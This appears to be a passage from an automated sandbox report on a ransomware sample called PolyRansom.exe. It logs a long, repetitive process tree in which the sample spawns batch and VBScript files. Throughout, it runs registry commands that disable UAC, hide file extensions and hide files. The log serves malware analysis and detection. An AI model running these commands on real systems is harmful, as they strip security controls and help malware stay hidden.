reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
221⤵
- Modifies registry key
PID:4668

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
222⤵
PID:5876

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
221⤵
PID:6024

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HCgsAooM.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
221⤵
PID:1256

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
222⤵
PID:5172

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
219⤵
- Modifies visibility of file extensions in Explorer
- Modifies registry key
PID:4064

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
219⤵
PID:1116

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
219⤵
- UAC bypass
- Modifies registry key
PID:5276

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WCkMwoQI.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
219⤵
PID:5772

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
220⤵
PID:5544

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
220⤵
PID:2196

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
217⤵
- Modifies visibility of file extensions in Explorer
PID:4976

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
217⤵
- Modifies registry key
PID:4516

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
217⤵
- UAC bypass
PID:4800

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ogkgQkwY.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
217⤵
PID:3812

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
218⤵
PID:2472

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
215⤵
PID:4832

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
215⤵
PID:936

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
215⤵
PID:6096

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\soQYUwMA.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
215⤵
PID:5368

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
216⤵
PID:1732

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
213⤵
- Modifies visibility of file extensions in Explorer
PID:5604

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
214⤵
PID:2400

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
213⤵
- Modifies registry key
PID:1248

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
213⤵
- UAC bypass
PID:1992

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
214⤵
PID:6052

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BygcYgIs.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
213⤵
PID:3324

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
214⤵
PID:5112

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
211⤵
- Modifies visibility of file extensions in Explorer
PID:1540

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
211⤵
PID:3588

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
211⤵
PID:5344

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
212⤵
PID:3872

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rywMAgIY.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
211⤵
PID:5544

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
212⤵
PID:5140

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
212⤵
PID:1688

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
209⤵
PID:2412

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
209⤵
PID:4204

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
210⤵
PID:4640

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
209⤵
PID:4672

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lMwMsQQQ.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
209⤵
PID:1972

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
210⤵
PID:3408

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
207⤵
PID:5736

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
207⤵
PID:1136

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
207⤵
- UAC bypass
PID:3880

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\NSggkYQk.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
207⤵
PID:4308

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
208⤵
PID:3832

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
205⤵
PID:2528

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
205⤵
PID:5760

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
205⤵
- UAC bypass
PID:1424

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kaMwYkEw.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
205⤵
PID:4612

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
206⤵
PID:2400

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
203⤵
- Modifies visibility of file extensions in Explorer
- Modifies registry key
PID:5092

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
203⤵
PID:1672

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
203⤵
PID:5548

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\MWggEwoc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
203⤵
PID:6020

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
204⤵
PID:3872

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
201⤵
PID:4672

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
201⤵
PID:6008

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
201⤵
- UAC bypass
- Modifies registry key
PID:4640

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\xMAUwMkQ.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
201⤵
PID:5748

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
202⤵
PID:1512

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
199⤵
PID:4440

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
199⤵
PID:5596

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
199⤵
PID:316

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ZSkgYMAo.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
199⤵
PID:4804

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
200⤵
PID:3248

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
197⤵
PID:60

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
197⤵
PID:5140

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
197⤵
PID:1420

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ZUEwAUsc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
197⤵
PID:5112

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
198⤵
PID:1136

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
195⤵
- Modifies visibility of file extensions in Explorer
PID:1380

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
195⤵
PID:1020

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
195⤵
- UAC bypass
PID:3204

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\YCQMcMAw.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
195⤵
PID:5344

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
196⤵
PID:5852

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
193⤵
- Modifies visibility of file extensions in Explorer
PID:3756

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
193⤵
PID:5760

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
193⤵
- UAC bypass
- Modifies registry key
PID:2528

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\IsQQEYwI.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
193⤵
PID:4904

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
194⤵
PID:380

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
191⤵
PID:5780

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
191⤵
PID:1852

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
191⤵
PID:5140

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hyMkYkIM.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
191⤵
PID:5548

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
192⤵
PID:5092

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
189⤵
PID:648

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
189⤵
PID:552

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
189⤵
PID:5444

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
190⤵
PID:4136

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\fIsUokIk.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
189⤵
PID:5232

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
190⤵
PID:4356

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
187⤵
- Modifies visibility of file extensions in Explorer
PID:4424

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
187⤵
PID:4928

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
187⤵
PID:3244

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\fAAYQsMo.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
187⤵
PID:2408

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
188⤵
PID:5924

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
185⤵
PID:4212

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
185⤵
PID:5640

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
185⤵
- UAC bypass
- Modifies registry key
PID:5452

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WMosAoUM.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
185⤵
PID:3544

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
186⤵
PID:3812

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
183⤵
- Modifies visibility of file extensions in Explorer
PID:4332

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
183⤵
PID:444

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
183⤵
- UAC bypass
PID:3492

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\YWIIsIAc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
183⤵
PID:3392

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
184⤵
PID:5680

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
181⤵
PID:5128

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
181⤵
PID:3872

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
181⤵
PID:332

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KIQIEgcY.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
181⤵
PID:4356

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
182⤵
PID:2056

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
179⤵
PID:4944

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
179⤵
PID:5368

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
179⤵
- UAC bypass
PID:6064

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EYcQgswE.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
179⤵
PID:2060

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
180⤵
PID:3244

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
177⤵
- Modifies visibility of file extensions in Explorer
PID:4392

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
177⤵
- Modifies registry key
PID:5800

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
177⤵
PID:5564

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pSAwQAcE.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
177⤵
PID:4296

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
178⤵
PID:5316

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
175⤵
- Modifies visibility of file extensions in Explorer
PID:4312

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
175⤵
PID:5012

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
175⤵
PID:332

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FYgIQcAQ.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
175⤵
PID:5600

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
176⤵
PID:4780

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
173⤵
PID:4016

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
173⤵
PID:5508

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
173⤵
PID:1824

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HMEAckcU.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
173⤵
PID:6020

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
174⤵
PID:2652

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
171⤵
- Modifies visibility of file extensions in Explorer
- Modifies registry key
PID:5140

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
171⤵
PID:2736

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
171⤵
PID:3992

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\QMAkAQQk.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
171⤵
PID:4804

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
172⤵
PID:1852

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
169⤵
PID:5480

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
169⤵
PID:5408

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
169⤵
PID:3256

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\OeEQsUwY.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
169⤵
PID:6100

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
170⤵
PID:6016

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
167⤵
- Modifies registry key
PID:1072

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
167⤵
PID:5188

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
167⤵
- UAC bypass
PID:2940

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EskEkQsk.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
167⤵
PID:6080

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
168⤵
PID:5724

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
165⤵
- Modifies visibility of file extensions in Explorer
PID:2076

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
165⤵
PID:2652

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
165⤵
- UAC bypass
PID:4576

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JgcwUMwo.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
165⤵
PID:4080

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
166⤵
PID:5432

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
163⤵
PID:5508

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
163⤵
PID:5452

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
163⤵
- UAC bypass
PID:1088

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\dKcsUMwM.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
163⤵
PID:5784

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
164⤵
PID:5760

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
161⤵
PID:3988

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
161⤵
PID:2996

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
161⤵
- UAC bypass
PID:60

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\bEAYYAoU.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
161⤵
PID:5876

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
162⤵
PID:1504

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
159⤵
PID:1124

C:\Windows\SysWOW64\reg.exe
